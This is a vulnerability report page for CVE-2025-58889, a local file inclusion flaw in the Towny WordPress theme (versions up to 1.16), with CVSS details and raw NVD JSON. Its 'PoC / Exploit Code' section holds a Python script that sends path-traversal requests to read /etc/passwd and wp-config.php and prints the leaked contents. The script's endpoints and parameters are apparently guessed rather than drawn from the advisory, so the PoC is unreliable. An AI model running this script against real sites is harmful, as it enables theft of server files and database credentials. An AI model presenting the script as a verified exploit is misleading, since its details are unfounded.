Security Vulnerability Report
中文
CVE-2025-58889 CVSS 8.1 HIGH

CVE-2025-58889

Published: 2025-12-18 08:15:58
Last Modified: 2026-04-27 19:16:16

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Towny towny allows PHP Local File Inclusion.This issue affects Towny: from n/a through <= 1.16.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:towny:*:*:*:*:*:wordpress:*:* - VULNERABLE
Towny <= 1.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58889 Towny Theme LFI PoC # Target: WordPress site with Towny theme <= 1.16 import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Common vulnerable parameters in Towny theme vulnerable_paths = [ '/wp-content/themes/towny/include.php?file=../../../../../../etc/passwd', '/wp-content/themes/towny/functions.php?page=../../../../../../wp-config.php', '/wp-content/themes/towny/header.php?template=../../../../../../etc/passwd' ] print(f'[*] Testing CVE-2025-58889 LFI on {target}') for path in vulnerable_paths: url = target + path try: response = requests.get(url, timeout=10) # Check if file content is leaked if 'root:' in response.text or 'DB_NAME' in response.text: print(f'[+] VULNERABLE! Found file inclusion at: {path}') print(f'[+] Leaked content preview:\n{response.text[:500]}') else: print(f'[-] Not vulnerable: {path}') except requests.RequestException as e: print(f'[!] Error testing {path}: {e}') print('[*] Scan complete. Update Towny theme to latest version to mitigate.')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58889", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:58.033", "lastModified": "2026-04-27T19:16:15.763", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Towny towny allows PHP Local File Inclusion.This issue affects Towny: from n/a through <= 1.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:towny:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.16", "matchCriteriaId": "307D337C-638A-48AF-9F1F-A9F249546540"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/towny/vulnerability/wordpress-towny-theme-1-16-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}